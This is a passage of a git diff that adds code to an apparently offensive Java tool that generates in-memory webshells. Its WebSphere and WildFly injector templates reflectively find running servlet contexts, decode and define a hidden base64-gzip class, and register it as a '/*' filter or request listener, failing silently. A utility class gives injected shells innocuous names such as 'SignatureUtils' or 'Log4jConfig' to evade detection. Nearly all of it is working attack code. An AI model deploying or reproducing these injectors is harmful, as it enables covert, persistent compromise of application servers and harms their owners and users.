classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } + + Object filterManager = getFV(context, "filterManager"); + try { + // v8 + Constructor constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); + // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter + setFV(context, "initialized", false); + Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()}); + Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); + setFV(context, "initialized", true); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping + invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName}); + + } catch (Exception e) { + // v7 + Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + setFV(filterConfig, "dispatchMode", new int[]{0}); + setFV(filterConfig, "name", filterName); + invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig}); + ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings"); + int lastIndex = _uriFilterMappings.size() - 1; + Object lastElement = _uriFilterMappings.remove(lastIndex); + _uriFilterMappings.add(0, lastElement); + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName}); + + } + // 清除缓存 + invokeMethod(getFV(filterManager, "chainCache"), "clear"); + } + } catch (Exception ex) { + } + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + public boolean isAdded(Object context, String filterName) throws Exception { + Object webAppConfiguration = getFV(context, "config"); + List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings"); + for (int i = 0; i < filerMappings.size(); i++) { + Object config = invokeMethod(filerMappings.get(i), "getFilterConfig"); + String name = (String) invokeMethod(config, "getFilterName"); + if (name.equals(filterName)) { + return true; + } + } + return false; + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = filterClass.newInstance(); + } catch (Throwable ignored) { + } + } + return filter; + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj.getClass(), fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception { + getF(obj.getClass(), fieldName).set(obj, fieldValue); + } + + private static Field getF(Class clazz, String fieldName) throws NoSuchFieldException { + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java new file mode 100644 index 0000000..4c178e2 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java @@ -0,0 +1,140 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class WebSphereListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebSphereListenerInjectorTpl(); + } + + + public WebSphereListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFV(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFV(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFV(stack, "config"); + context = getFV(getFV(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = listenerClass.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + List listeners = (List) getFV(context, "servletRequestListeners"); + // 判断是否已经存在 + if (!listeners.contains(listener)) listeners.add(listener); + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj.getClass(), fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static Field getF(Class clazz, String fieldName) throws NoSuchFieldException { + try { + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + }catch (Exception ignored){ + } + return null; + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java new file mode 100644 index 0000000..33e357f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java @@ -0,0 +1,207 @@ +package jmg.core.template; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +public class WildFlyFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WildFlyFilterInjectorTpl(); + } + + + public WildFlyFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + try { + if (isInjected(context, getClassName())) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + return false; + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java new file mode 100644 index 0000000..6ac5721 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java @@ -0,0 +1,197 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class WildFlyListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WildFlyListenerInjectorTpl(); + } + + public WildFlyListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + injectListener(context, listener); + } + } catch (Exception ignored) { + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener + // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener + public void injectListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String className) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + for (int i = 0; i < allListeners.size(); i++) { + Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass"); + if (listener.getName().contains(className)) { + return true; + } + } + return false; + } + + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java new file mode 100644 index 0000000..29d671e --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java @@ -0,0 +1,74 @@ +package jmg.core.util; + + + +import jmg.core.config.Constants; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + + +public class ClassNameUtil { + static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; + static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"}; + + + public static String getRandomName(String[]... arrays) { + List classNames = new ArrayList<>(); + for (String[] array : arrays) { + for (String className : array) { + classNames.add(className); + } + } + Random random = new Random(); + int index = random.nextInt(classNames.size()); + return classNames.get(index); + } + + + public static String generateRandomString() { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(2) + 1; // 生成1-3之间的随机数 + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + sb.append(c); + } + return sb.toString(); + } + + public static String getRandomInjectorClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + public static String getRandomExtenderClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + public static String getRandomLoaderClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + + public static String getClassPrefixName(){ + return ClassNameUtil.getRandomName(prefixNames); + } + + public static String getRandomShellClassName(String shellType) { + + if (shellType.contains(Constants.SHELL_LISTENER)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; + } + if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; + } + if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler"; + } + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter"; + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/CommonUtil.java b/jmg-core/src/main/java/jmg/core/util/CommonUtil.java new file mode 100644 index 0000000..064a4ac --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/CommonUtil.java @@ -0,0 +1,312 @@ +package jmg.core.util; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.jMGCodeApi; +import me.gv7.woodpecker.tools.common.FileUtil; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Arrays; +import java.util.Random; +import java.util.regex.Pattern; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +public class CommonUtil { + + // 合并两个数组 + public static T[] concatenateArrays(T[] array1, T[] array2) { + int length1 = array1.length; + int length2 = array2.length; + + T[] result = Arrays.copyOf(array1, length1 + length2); + + System.arraycopy(array2, 0, result, length1, length2); + + return result; + } + + public static void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + public static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + public static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + + public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + + public static String generateRandomString() { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(5) + 2; + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + if (i == 0) { + c = Character.toUpperCase(c); + } + sb.append(c); + } + return sb.toString(); + } + + public static byte[] base64Decode(String var0) throws Exception { + byte[] var2 = null; + + Class var1; + try { + var1 = Class.forName("java.util.Base64"); + Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); + var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0)); + } catch (Exception var6) { + try { + var1 = Class.forName("sun.misc.BASE64Decoder"); + Object var4 = var1.newInstance(); + var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0)); + } catch (Exception var5) { + } + } + return var2; + } + + + public static String encodeBase64(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + + public static String genRandomLengthString(int minLength) { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(6) + minLength; + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + if (i == 0) { + c = Character.toUpperCase(c); + } + sb.append(c); + } + return sb.toString(); + } + + + public static String getRandomString(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + SecureRandom random = new SecureRandom(); + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < length; i++) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + return sb.toString(); + } + + public static String getMd5(String text) throws NoSuchAlgorithmException { + MessageDigest md5 = MessageDigest.getInstance("MD5"); + byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8)); + StringBuilder builder = new StringBuilder(); + for (byte aByte : bytes) { + builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6)); + } + return builder.toString(); + } + + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + + try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) { 